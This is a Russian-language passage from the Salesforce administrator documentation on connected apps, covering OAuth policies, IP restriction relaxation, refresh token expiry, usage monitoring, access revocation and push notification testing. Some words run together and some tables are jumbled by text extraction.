Прим.: Пакетирование связанного приложения может быть выполнено только из организации Developer Edition.
Связанные приложения могут быть добавлены только в управляемые пакеты. Связанные приложения не
поддерживаются неуправляемыми пакетами.

Удаление связанного приложения

Чтобы удалить связанное приложение, щелкните «Имя связанного приложения» в списке приложений. Нажмите
кнопку «Удалить» на странице редактирования. Чтобы подтвердить удаление, нажмите кнопку «Удалить» повторно.
Несмотря на удаление приложения из списка, имя приложения не может использоваться повторно.
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Связанное приложение, добавленное в пакет, удаляется из пакета только после его обновления.

Прим.: Если инициализация пользователя настроена для связанного приложения, удалить связанное приложение
илидеинсталлировать содержащийегопакетневозможно, пока администраторне удалит сведенияо конфигурации
инициализации пользователя. Помните, что снятием флажка «Включить инициализацию пользователя» на
странице сведений связанного приложения удалить из организации сведения о конфигурации невозможно.
Инструкции по удалению сведений о конфигурации см. в руководстве для администраторов Salesforce в
соответствующем разделе.

СМ. ТАКЖЕ:

Создание связанного приложения

Общие сведения о связанных приложениях

Инициализация пользователя для связанных приложений

Применение непрерывных IP-адресов и смягчение ограничений IP-адресов связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

Данныйразделописываетвлияниепараметрасеанса «Применять диапазоны IP-адресов
входа при каждом запросе» напараметрысмягченияограничений IP-адресовсвязанного
приложения с поддержкой OAuth.

Присмягченииограничений IP-адресовдля связанногоприложениясподдержкой OAuth
и включении параметра «Применять диапазоны IP-адресов входа при каждом
запросе» для организации доступ к связанному приложению может изменяться. Это
изменение применяется к доступу к клиенту, в том числе с мобильных устройств, для
всех связанных приложений с поддержкой OAuth. Смягчение ограничений IP-адресов
не применяется к связанным приложениям с поддержкой SAML.

Табл. 55: Применение непрерывных IP-адресов и параметров смягчения
ограничений IP-адресов связанного приложения

Применение непрерывных
IP-адресов включено

Применение непрерывных
IP-адресов выключено (по
умолчанию)

Смягчение
ограничений
IP-адресов

Пользователь, запустивший данное
приложение, подчиняется
ограничениям IP-адресов, заданным в

Пользователь, запустивший
данноеприложение, подчиняется
ограничениям IP-адресов,

Применить
ограничения
IP-адресов

организации (например, диапазонызаданным в организации
IP-адресов, заданные в профиле
пользователя).

(например, диапазоны IP-адресов,
заданные в профиле
пользователя).

Пользователь, запустивший данное
приложение, пропускает ограничения

Пользователь, запустивший
данное приложение, пропускает

Смягчить
ограничения

IP-адресов организации приограничения IP-адресовIP-адресов
выполнении любого условия OAuth изорганизации при выполнении

любогоуказанногонижеусловия.
со
вторым
коэффициентом

предыдущегостолбца. Изсоображений
безопасности, пользователям
недоступны компоненты ниже.

• Приложение использует
разрешенные диапазоны

• Изменение пароляIP-адресовипроцесспроверки
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Применение непрерывных IP-адресов включеноПрименение непрерывных IP-адресов
выключено (по умолчанию)

Смягчение
ограничений
IP-адресов

подлинности веб-сервера OAuth.
Приложениеподдерживаеттолькозапросы,
поступающие от разрешенных IP-адресов.

• Добавлениеконтролируемогоповременимаркера

• Любые страницы потока входа

• Приложение не использует разрешенные
диапазоны IP-адресов, но использует
процесспроверкиподлинностивеб-сервера
или пользователя-агента OAuth, а
пользователь подтверждает свою
подлинность.

Пользователь, запустивший данное связанное
приложение, неподчиняетсяограничениям IP-адресов.

Пользователь, запустивший данное связанное
приложение, не подчиняется ограничениям
IP-адресов.

Смягчить
ограничения
IP-адресов Из соображений безопасности, пользователям

недоступны компоненты ниже.

• Изменение пароля

• Добавлениеконтролируемогоповременимаркера

• Любые страницы потока входа

Просмотр сведений о связанном приложении

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Страница сведений о связанном приложении содержит информацию о связанном
приложении, включая его версию и области применения. Данная страница позволяет редактировать и проверять
использование связанного приложения, а также связывать приложение с профилями и полномочиями.

• Чтобыизменитьконфигурациюприложенияна странице «Редактированиесвязанногоприложения», нажмитекнопку
«Правка».
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• Чтобыполучить URL-адресавхода SAML иконечныеточкидляпоставщикауслуг, связанныесконфигурациейсообщества
или настраиваемого домена, нажмите кнопку «Загрузить метаданные». Данная кнопка отображается только в том
случае, если организация используется в качестве поставщика удостоверений, и только для связанных приложений,
использующих SAML.

• Принеобходимостиметаданныемогут быть доступныпосредством URL-адреса в поле «Конечная точка обнаружения
метаданных». Данный URL-адрес может использоваться поставщиком услуг для настройки единой регистрации с
целью подключения к системе Salesforce.

• Чтобы просмотреть отчет по использованию связанных приложений в организации, щелкните «Просмотр
использования OAuth».

• Принеобходимостивключитеинициализациюпользователядля связанногоприложениянаданнойстранице. Чтобы
настроить или обновить параметры включенной инициализации пользователя, воспользуйтесь мастером
инициализации пользователя. После запуска мастера инициализации пользователя раздел «Учетные записи
пользователей» позволяет самостоятельноуправлять связямимеждуучетнымизаписямипользователейипараметрами
их организаций в сторонней системе.

• Чтобывыбратьпрофилидляприложениянастранице «Назначениепрофиляприложения», щелкните«Управление
профилями». Выберите профили для доступа к приложению (кроме версии Group Edition).

Важное замечание: Данный параметр не требуется при самостоятельной авторизации пользователей, поэтому
не отображается, если политике OAuth для параметра «Разрешенные пользователи» задано значение «Все
пользователи могут авторизовываться самостоятельно».

• Чтобывыбратьнаборыполномочийдляпрофилейданногоприложениянастранице «Назначениенабораполномочий
приложения», щелкните «Управление наборами полномочий». Выберите наборы полномочий для доступа к
приложению.

Важное замечание: Данный параметр не требуется при самостоятельной авторизации пользователей, поэтому
не отображается, если политике OAuth для параметра «Разрешенные пользователи» задано значение «Все
пользователи могут авторизовываться самостоятельно».

• Чтобы создать пару «ключ/значение атрибута», нажмите кнопку «Создать» в связанном списке «Атрибуты SAML
поставщика услуг». При необходимости измените или удалите текущие атрибуты.

Если параметру «Разрешенные пользователи» на странице «Редактирование связанного приложения» задано значение
«Пользователи, допущенные администратором», то запуск приложения доступен толькопользователям, имеющимкак
минимум один выбранный профиль или набор полномочий. При выборе значения «Все пользователи» профили и
наборы полномочий пропускаются.

СМ. ТАКЖЕ:

Инициализация пользователя для связанных приложений
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Управление связанным приложением

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Чтобыпросматриватьиобновлятьсвойствасвязанногоприложения, вменю «Настройка»
введите «Связанные приложения» вполе «Быстрый поиск», затемвыберитепараметруправлениясвязаннымиприложениями.
Найдите нужное приложение и щелкните ссылку «Правка». Чтобы просмотреть сведения, использование и политики
для связанного приложения или добавить настраиваемые атрибуты, щелкните имя нужного приложения.

Прим.: Периодичность автоматического обновления сеансов текущего пользователя (от 15 минут до 12 часов)
определяется параметром «Значение времени ожидания», заданным для организации; как правило, пользователь
не замечает данного обновления.

Связанные приложения, установленные системой Salesforce

Некоторые клиентскиеприложения Salesforce (например, Salesforce1или Salesforce for Outlook) используются как связанные
приложения и устанавливаются в организацию автоматически. Именно поэтому, список установленных приложений
может содержать больше связанных приложений, чем ожидалось.

Данные связанные приложения Salesforce распространяются посредством двух управляемых пакетов: один пакет для
приложений, связанных с Salesforce1, и один пакет для приложений, не связанных с Salesforce1. Список добавленных
приложений может изменяться при каждом выпуске. Тем не менее, в целях упрощения процесса администрирования,
каждыйпакет устанавливается в организациюасинхроннопри первом открытии одного из данных приложений любым
пользователем организации.

ЧтобызаранееустановитьилиудалитьпакетSalesforce1длясвязанныхприложений, воспользуйтеськаталогомAppExchange.

Пакет отображается на странице «Установленные пакеты» меню «Настройка».

Чтобы просмотреть список компонентов, щелкните имя нужного пакета. Ниже перечислены некоторые компоненты
пакета связанных приложений Salesforce.

Прим.:  Force.com IDE, Force.com Migration Tool, Dataloader Bulk и Dataloader Partner — это связанные приложения типа
«оболочка», использующие интерфейс SOAP API для подключения к системе Salesforce (вместо протокола OAuth,
используемого другими связанными приложениями). Однако, они используют инфраструктуру связанных
приложений для предоставления или отмены доступа пользователей к приложениям организации.

Ниже перечислены некоторые компоненты пакета приложений Salesforce1 и Chatter.
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Чтобы управлять установленными связанными приложениями, в меню «Настройка» введите «Связанные приложения» в
поле «Быстрый поиск», выберите параметр управления связанными приложениями, и автоматически установленные
связанныеприложения Salesforceотобразятся в списке в качестве установленныхприложенийввиде управляемогопакета
вместе с другими установленными связанными приложениями.

СМ. ТАКЖЕ:

Инициализация пользователя для связанных приложений

Редактирование связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

При необходимости измените параметры и полномочия для связанного приложения.

1. Введитестроку «Связанные приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберитепараметруправления
связанными приложениями.

2. Щелкните ссылку «Правка» напротив имени нужного приложения. (Чтобы проверить сведения о приложении на
странице сведений о связанном приложении, щелкните имя нужного приложения.)

• Приведенный ниже раздел «Политики OAuth» доступен для каждого связанного приложения с поддержкой OAuth.

– Параметр «Разрешенные пользователи» определяет пользователей, которым доступен запуск приложения.

• «Все пользователи могут авторизовываться самостоятельно». Значение по умолчанию. Данное значение
позволяет всем пользователям организации авторизовывать приложение самостоятельно. Другими словами,
каждый пользователь должен подтвердить доступ при первом использовании приложения.

• «Пользователи, допущенные администратором, предварительно авторизованы». Данное значение
ограничиваетдоступпользователями, которымназначенвыбранныйпрофильилинаборполномочий; данные
пользователи не должны подтверждать доступ к приложению. В версии Group Edition данный параметр
препятствует предоставлению доступа к приложению всем пользователям. Управление профилями для
приложениявыполняетсяпутемредактированиясписка «Доступк связанномуприложению» каждогопрофиля
(кроме версии Group Edition). Управление наборами полномочий для приложения выполняется путем
редактирования списка «Назначенные связанные приложения» каждого набора полномочий.
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Внимание: Если значение «Все пользователи могут авторизовываться самостоятельно» заменяется
значением «Пользователи, допущенные администратором, предварительно авторизованы», то доступ к
приложению сохраняют только пользователи, которые принадлежат набору полномочий или профилю,
заданному для приложения.

Прим.: Если профиль или набор полномочий пользователя содержит включенное полномочие
«Использование любого API-клиента», то политика «Пользователи, допущенные администратором,
предварительно авторизованы» можетбытьпропущена. Данноеполномочиепользователядоступнотолько
привключенииполномочияорганизации «Толькоприложения, допущенныеадминистратором». Полномочие
«Использование любого API-клиента» позволяет пользователю, недопущенному администратором,
просматриватьи запускатьприложение, даже в томслучае, еслипараметрысвязанногоприложения требуют
значения «Пользователи, допущенныеадминистратором», аполномочиеорганизации «Толькоприложения,
допущенныеадминистратором» включено. Даннаясхемаполномочийразрешаетконкретнымпользователям
(например, временным сотрудникам) временный доступ к связанному приложению.

– Параметр «Смягчение ограничений IP-адресов» определяет ограничения IP-адресов, применяемые к
пользователям данного связанного приложения. Диапазоны IP-адресов работают со связанными приложениями
с поддержкой OAuth, а не с поддержкой SAML. Ниже перечислены значения, позволяющие администратору
применить или пропустить заданные ограничения.

• «Применить ограничения IP-адресов». Значение по умолчанию. Пользователь, запустивший данное
приложение, подчиняетсяограничениям IP-адресов, заданнымворганизации (например, диапазоны IP-адресов,
заданные в профиле пользователя).

• «Смягчить ограничения IP-адресов со вторым коэффициентом». Пользователь, запустивший данное
приложение, пропускает ограничения IP-адресов организации при выполнении любого указанного ниже
условия.

– Приложениеиспользуетразрешенныедиапазоны IP-адресовипроцесспроверкиподлинностивеб-сервера
OAuth. Приложение поддерживает только запросы, поступающие от разрешенных IP-адресов.

– Приложение не использует разрешенные диапазоны IP-адресов, но использует процесс проверки
подлинностивеб-сервераилипользователя-агента OAuth, апользовательподтверждает своюподлинность.

• «Смягчить ограничения IP-адресов». Пользователь, запустивший данное связанное приложение, не
подчиняется ограничениям IP-адресов.

Прим.: Включенный параметр сеанса «Применять диапазоны IP-адресов входа при каждом запросе»
для организации влияет на алгоритм смягчения ограничений IP-адресов. Дополнительную информацию
см. в разделе «Применение непрерывных IP-адресов и смягчение ограничений IP-адресов связанного
приложения» на странице 5741.

– Параметр «Политика маркеров обновления» определяет период действия маркера обновления. Маркеры
обновления используются связанным приложением с поддержкой OAuth для получения новых сеансов без ввода
регистрационныхданныхпользователя. Связанноеприложениепростообмениваетмаркеробновлениянановый
сеанс. Политики маркеров обновления позволяют администраторам определять период использования маркера
обновления. Ниже перечислены возможные значения.

• «Истечение срока действия маркера обновления при отмене». Значение по умолчанию. Оно определяет,
чтосрокдействиямаркеранеограничениистекает толькоприегоотменепользователемилиадминистратором.
Чтобы отменить маркеры, воспользуйтесь разделом «Связанные приложения OAuth» страницы сведений о
пользователе или отчетом «Использование связанных приложений OAuth».
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• «Немедленное истечение срока действия маркера обновления». Данное значение определяет, что срок
действия маркера истекает немедленно. Пользователь может использовать текущий сеанс (маркер доступа),
но не может использовать маркер обновления для получения нового сеанса.

• «Истечение срока действия маркера обновления при периоде неиспользования n». Срокдействиямаркера
истекаетпринеиспользованиив течение заданногопериода времени. Например, еслиполе содержит значение
«7 дн.», то маркер обновления, который не удалось обменять на новый сеанс в течение 7 дней, становится
недействительным. Маркер, срокдействиякоторогоистек, неможет генерироватьновые сеансы. Срокдействия
использованного маркера обновления обнуляется и продляется на следующие 7 дней.

• «Истечение срока действия маркера обновления после n». Срок действия маркера обновления истекает
после заданногопериода времени. Например, еслиполе содержит значение «1 день», томаркер обновления
может использоваться для получения новых сеансов в течение 24 часов. По истечении заданного периода
времени маркер не может использоваться.

Сеанспользователяможетподдерживатьсяпоиспользованию. Егопериоддействияопределяетсяполем «Значение
времени ожидания» для связанного приложения, профиля пользователя или параметров сеанса организации (в
указанном порядке). Параметр «Политика маркеров обновления» оценивается только при использовании
созданного маркера обновления и не влияет на текущий сеанс пользователя. Маркеры обновления требуются
только при истечении срока действия или недоступности сеанса пользователя. Например, если параметру
«Политика маркеров обновления» задано значение «Истечение срока действия маркера обновления после
1 часа», а приложение используется в течение двух часов, то по истечении 1 часа проверка подлинности не
потребуется. Повторная проверка подлинности потребуется только после истечения срока действия сеанса и
попытки обмена маркеров обновления на новый сеанс.

– Параметр «Значениевремениожидания» доступентолькодля связанныхприложенийсподдержкой OAuth. Данное
значение определяет время истечения срока действия маркеров доступа для сеанса связанного приложения. При
отсутствиизначенияиливыборезначения «Нет»  (поумолчанию) системаSalesforceиспользуетпараметр «Значение
времениожидания» изпрофиляпользователя. Приотсутствиизначениявпрофилепользователясистема Salesforce
использует параметр «Значение времени ожидания» со страницы «Параметры сеанса».

– Данный раздел также содержит список текущих полномочий для связанного приложения.

Если связанное приложение является приложением холста, использующим проверку подлинности подписанного
запроса, выполните указанные ниже действия.

– Выберите значение «Пользователи, допущенные администратором, предварительно авторизованы» для
параметра «Разрешенные пользователи».

– Выберите значение «При первом использовании данного приложения» для параметра «Истечение срока
действия маркеров обновления».

– Предоставьте пользователям доступ посредством профилей и наборов полномочий.

• Раздел «Политика на уровне сеансов» доступен для всех связанных приложений. Чтобы разрешить пользователям
доступ к приложению только после ввода контролируемого по времени маркера при входе, установите флажок
«Требуется высоконадежный сеанс».

• Раздел «Основные сведения» доступен для всех связанных приложений. Тем не менее, если приложение является
приложением холста, то данные значения поля не используются. Взамен, система использует URL-адрес приложения
холста, указанный при создании связанного приложения.

– Параметр «Начальный URL-адрес» применяетсяприиспользованииединойрегистрациивсвязанномприложении.
Вэтомслучае URL-адрес долженсоответствовать странице запускапроцессапроверкиподлинности. Данныйадрес
также отображается в меню выбора приложения.
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– Параметр «Мобильный начальный URL-адрес» применяется для переадресации пользователей при доступе к
приложению посредством мобильного устройства.

• Раздел «Параметры мобильного приложения» доступен для мобильных связанных приложений, применяющих
защиту PIN-кодом.

– Параметр «Требовать PIN-код после» определяет время простоя приложения перед его автоматической
блокировкойивводом PIN-кода. Доступныезначения: «Нет» (безблокировки), «1 мин.», «5 мин.», «10 мин.» и «30 мин.».
Даннаяполитикаприменяетсятолькопринастройкесоответствующегопараметра «Длина PIN-кода». Применение
политики отслеживается связанным приложением. Приложения, созданные посредством пакета Salesforce Mobile
SDK, могут применять данную политику или считывать и применять политику из службы UserInfo.

Прим.: Данныйпараметрне аннулирует сеанспользователя. Даннаяполитика требует ввода только PIN-кода
для продолжения текущего сеанса пользователя, завершенного по причине простоя.

– Параметр «Длина PIN-кода» определяет длинуидентификационногономера, предназначенногодляпроверки
подлинности. Длина кода может составлять от 4 до 8 цифр.

• Раздел «Настраиваемые атрибуты» доступен для всех связанных приложений. Разработчики могут задавать
настраиваемые метаданные SAML или настраиваемые атрибуты OAuth для связанного приложения. Администраторы
могут удалять и редактировать данные атрибуты или добавлять настраиваемые атрибуты. Атрибуты, удаленные,
отредактированные или добавленные администраторами, переопределяют атрибуты, заданные разработчиками.
Дополнительнуюинформациюсм. вразделе «Редактирование, пакетированиеилиудалениесвязанногоприложения»
на странице 5738.

Настраиваемый связанный обработчик приложений

Настроить алгоритм связанного приложения можно с помощью Apex. Создайте класс, расширяющий класс
ConnectedAppPlugin Apex, и свяжите его со связанным приложением. Этот класс может поддерживать новые
протоколы проверки подлинности или отвечать на атрибуты пользователя выгодным для бизнес-процесса способом.

Модуль запускается со стороны учетной записи пользователя. В поле Запустить в качестве выберите пользователя для
запускамодуля. Еслипользовательне авторизовандляиспользования связанногоприложения, воспользуйтесьдля этого
методом авторизации. Дополнительную информацию см. в разделе «Класс ConnectedAppPlugin» в Руководстве
разработчика Force.com Apex Code.

СМ. ТАКЖЕ:

Редактирование связанного приложения

Изменение параметров безопасности сеанса

Инициализация пользователя для связанных приложений
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Отслеживание использования для связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Чтобы просматривать сведения об использовании всех связанных приложений
организации, введите «Использование связанных приложений OAuth» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Использование связанных приложений OAuth». Данная страница содержит список связанных
приложений и соответствующие сведения.

Связанное приложение
Имя приложения. Данный список отображает только используемые установленные связанные приложения.

Просмотр сведений о приложении
Чтобы открыть страницу сведений о связанном приложении, щелкните «Просмотр сведений о приложении».
Чтобы установить связанное приложение, щелкните «Установить».

Количество пользователей
Количество пользователей, запустивших приложение. Чтобы просмотреть перечисленные ниже сведения о каждом
пользователе, щелкните значение «Количество пользователей».

• Дата первого использования приложения

• Время последнего использования приложения

• Общее количество использований приложения

Чтобы отменить доступ пользователя к текущему сеансу, щелкните действие «Отменить» напротив нужного
пользователя на странице «Использование пользователем связанного приложения». Чтобы отменить доступ всех
пользователей связанного приложения, нажмите кнопку «Отменить все» вверху страницы.

Действие
Чтобы завершить все текущие сеансы использования связанного приложения и заблокировать все новые сеансы,
щелкните «Блокировать». Блокировка приложения является временной. Чтобы предоставить пользователям
полномочия входа и доступа к приложению, щелкните «Разблокировать».
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Управление доступом OAuth для связанных приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Приложение Salesforce
Classic Mobile недоступно
в версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Связанное приложение интегрирует приложение в систему Salesforce посредством
интерфейсов API. Связанные приложения используют стандартные протоколы SAML и
OAuth для проверки подлинности, внедрения единой регистрации и предоставления
маркеров для интерфейсов Salesforce API. Помимо стандартных возможностей OAuth,
связанные приложения позволяют администраторам определять различные политики
безопасности и контролировать доступ пользователей к приложениям. Все связанные
приложенияинтегрируютсяв системуSalesforceдляполучениядоступакнаборуданных
Salesforce при наличии соответствующего полномочия.

Все связанныеприложения, поддерживающиедоступкданным Salesforce, отображаются
на странице личных сведений.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Ниже перечислены действия, доступные в разделе «Связанные приложения OAuth».

• Просмотрите сведения о каждом доступном приложении, а также количество
доступов и время последней попытки доступа приложения к данным.

Прим.:

– Приложение может повторяться. При каждом предоставлении доступа
к приложению пользователь получает новый маркер доступа. Запросы
на маркеры обновления увеличивают значение поля «Количество
использований», отображаемого для приложения. Доступ к данным
Salesforce должен быть предоставлен на всех используемых устройствах
(например, напортативноминастольномкомпьютерах). Поумолчанию
каждомуприложениюдоступнонеболеепятимаркеровдоступа. Новые
приложения (по протоколу OAuth 2.0) автоматически утверждаются для
дополнительных устройств после единичного предоставления
пользователемсоответствующегодоступа. Приложения OAuth 2.0 могут
повторяться. Каждая строка таблицы представляет собой уникальное
разрешение, поэтомуприложение, запрашивающеенесколькомаркеров
с разными областями, отображается несколько раз.

– Поля «Количество использований» и «Последнее использование»
обновляютсядажеприошибкедоступасвязанногоприложениякданным
пользователя ввиду неудачного входа.

• Чтобы отменить доступ приложения, щелкните «Отменить». Приложение, доступ которого отменен, не может
использовать указанный маркер авторизации для доступа к данным Salesforce.

Важное замечание: Чтобы предотвратить доступ к данным Salesforce, пользователь должен аннулировать
все маркеры доступа для конкретного приложения.
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Принеобходимостиприложение Salesforce Classic Mobileможет быть загруженона новоемобильное устройство, которое
будет использоваться для входа в систему. В этом случае система Salesforce автоматически создаст новый маркер доступа,
тогда как маркер доступа, использовавшийся на предыдущем устройстве, может быть сохранен.

СМ. ТАКЖЕ:

Общие сведения о связанных приложениях

Создание связанного приложения

Редактирование связанного приложения

Индивидуальная настройка системы Salesforce

Тестирование всплывающих уведомлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки
всплывающего уведомления
со страницы «Тестировать
всплывающие
уведомления»:
• «Автор Apex»

И

«Управление
связанными
приложениями»

Чтобы быстро протестировать настройки всплывающих уведомлений, воспользуйтесь
страницей «Отправить тестовое уведомление». Страница «Отправить тестовое
уведомление» позволяет устранять неполадки круговых всплывающих уведомлений,
возникающие в синхронном механизме, без настройки вызовов Apex или REST. Кроме
того, данная страница позволяет получать более подробные сведения о фоновых
событиях, выполняемых в асинхронной среде реальных всплывающих уведомлений.

Ограничения для всплывающих уведомлений

Максимальное количество всплывающих уведомлений, разрешенное для каждого
мобильного приложения, связанного с организацией Salesforce, определяется типом
приложения.

ОграничениеМаксимальное количество всплывающих уведомлений,
разрешенное для:

50 000 уведомлений
на каждое
приложение в день

Мобильные приложения, предоставленные системой Salesforce
(например, Salesforce1)

35 000 уведомлений
на каждое
приложение в день

Мобильные приложения, разработанные организацией для
внутреннего использования

5 000 уведомлений
на каждое
приложение в день

Мобильныеприложения, установленныеизкаталогаAppExchange

Данное ограничение учитывает только уведомления, подлежащие доставке. Например,
уведомление отправляется 1 000 сотрудников компании, из которых 100 сотрудников
пока не установили мобильное приложение. Таким образом, данное ограничение
учитываеттолькоуведомления, отправленные 900 сотрудникам, установившиммобильное
приложение.

Каждое тестовое всплывающее уведомление, созданное посредством страницы
«Тестировать всплывающие уведомления», ограничивается одним получателем. Тестовые всплывающие уведомления
учитываются ежедневным ограничением для всплывающих уведомлений, заданным для приложения.
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Общие сведения о странице «Отправить тестовое уведомление»

Страница «Отправить тестовое уведомление» использует настройки службы APNS или GCM для настройки синхронного
механизма активной доставки. Чтобы выбрать устройство для получения всплывающего уведомления, введите строку
маркераподключения. Впротивномслучае, воспользуйтесьинструментомпоиска, которыйвозвращает списокустройств,
зарегистрированных для связанного приложения. Инструмент поиска автоматически отображает пять устройств,
зарегистрированныхпоследними. Чтобынайти устройства, зарегистрированныедляпользователя, введитеимянужного
пользователя.

Чтобы протестировать настройки всплывающих уведомлений для службы Android GCM, установите флажок «Пробный
запуск». Данный параметр отправляет уведомление только на сервер GCM.

Каждаяпопыткаактивнойдоставкивозвращаетстатусноесообщениеобуспешномилинеудачномвыполнении. Описания
сообщений см. в разделе «Сообщения об ошибках для всплывающих уведомлений». Дополнительнуюинформациюсм.
на веб-сайте:

• developer.apple.com (для всплывающих уведомлений Apple APNS).

• developer.android.com (для всплывающих уведомлений Android GCM).

Чтобы открыть тестовую страницу, выполните указанные ниже действия.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Приложения».

2. Щелкните имя нужного связанного приложения.

3. Щелкните «Отправить тестовое уведомление» напротив поля «Поддерживаемая платформа активной доставки».
Даннаяссылкаотображаетсятольковтомслучае, еслисвязанноеприложениеподдерживаетвсплывающиеуведомления
для мобильных устройств.

Прим.: Преждечемотправить тестовое всплывающееуведомление, проверьтеправильностьнастройкимобильных
параметров в связанном приложении. См. раздел «Создание связанного приложения».

Отправка тестовых всплывающих уведомлений в службу APNS

Чтобы быстро протестировать настройки всплывающих уведомлений для службы APNS, воспользуйтесь страницей
«Отправить тестовое уведомление».

Отправка тестовых всплывающих уведомлений в службу Android GCM

Чтобы быстро протестировать настройки всплывающих уведомлений для службы Android GCM, воспользуйтесь
страницей «Тестировать всплывающие уведомления».

Сообщения об ошибках для всплывающих уведомлений
При отображении сообщения об ошибке после отправки всплывающего уведомления со страницы «Отправить
тестовое уведомление» рекомендуем использовать таблицу ниже.

Отправка тестовых всплывающих уведомлений в службу APNS

Чтобы быстро протестировать настройки всплывающих уведомлений для службы APNS, воспользуйтесь страницей
«Отправить тестовое уведомление».

1. Введитестрокумаркераподключениявполе «Получатель» ИЛИщелкнитезначок ивыберитеодногоизнайденных
получателей. Поумолчаниюсписокрезультатовпоискаотображаетпятьустройств, зарегистрированныхдлясвязанного
приложения последними.

a. Чтобы найти другие устройства, введите имя пользователя в текстовое поле «Поиск».

b. Чтобы создать список всех устройств, зарегистрированных для данного имени пользователя, нажмите кнопку
«Начать».
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2. При необходимости заполните поле «Предупреждение» сообщением-предупреждением или словарем по
спецификациям Apple.

3. Заполните поле «Эмблема» количеством эмблем или значением «0»  (при отсутствии эмблем).

4. Заполнитеполе «Звук» именемзвуковогофайла впакетеприложенийилизначением «default» дляиспользования
стандартного системного звука предупреждения.

5. При необходимости заполните поле «Настраиваемые полезные данные» значением JSON полезных данных.

6. Чтобы отправить тестовое всплывающее уведомление, нажмите кнопку «Отправить». Чтобы очистить форму,
нажмите кнопку «Очистить».

СМ. ТАКЖЕ:

Тестирование всплывающих уведомлений

Отправка тестовых всплывающих уведомлений в службу Android GCM

Чтобыбыстропротестироватьнастройкивсплывающихуведомленийдляслужбы Android GCM, воспользуйтесьстраницей
«Тестировать всплывающие уведомления».

1. Введитестрокумаркераподключениявполе «Получатель» ИЛИщелкнитезначок ивыберитеодногоизнайденных
получателей. Поумолчаниюсписокрезультатовпоискаотображаетпятьустройств, зарегистрированныхдлясвязанного
приложения последними.

a. Чтобы найти другие устройства, введите имя пользователя в текстовое поле «Поиск».

b. Чтобы создать список всех устройств, зарегистрированных для данного имени пользователя, нажмите кнопку
«Начать».

2. Заполните поле «Полезные данные» значением JSON, содержащим сообщение.

3. Чтобы отправить всплывающее уведомление только на сервер GCM, установите флажок «Пробный запуск».

4. Чтобы отправить тестовое всплывающее уведомление, нажмите кнопку «Отправить». Чтобы очистить форму,
нажмите кнопку «Очистить».

СМ. ТАКЖЕ:

Тестирование всплывающих уведомлений

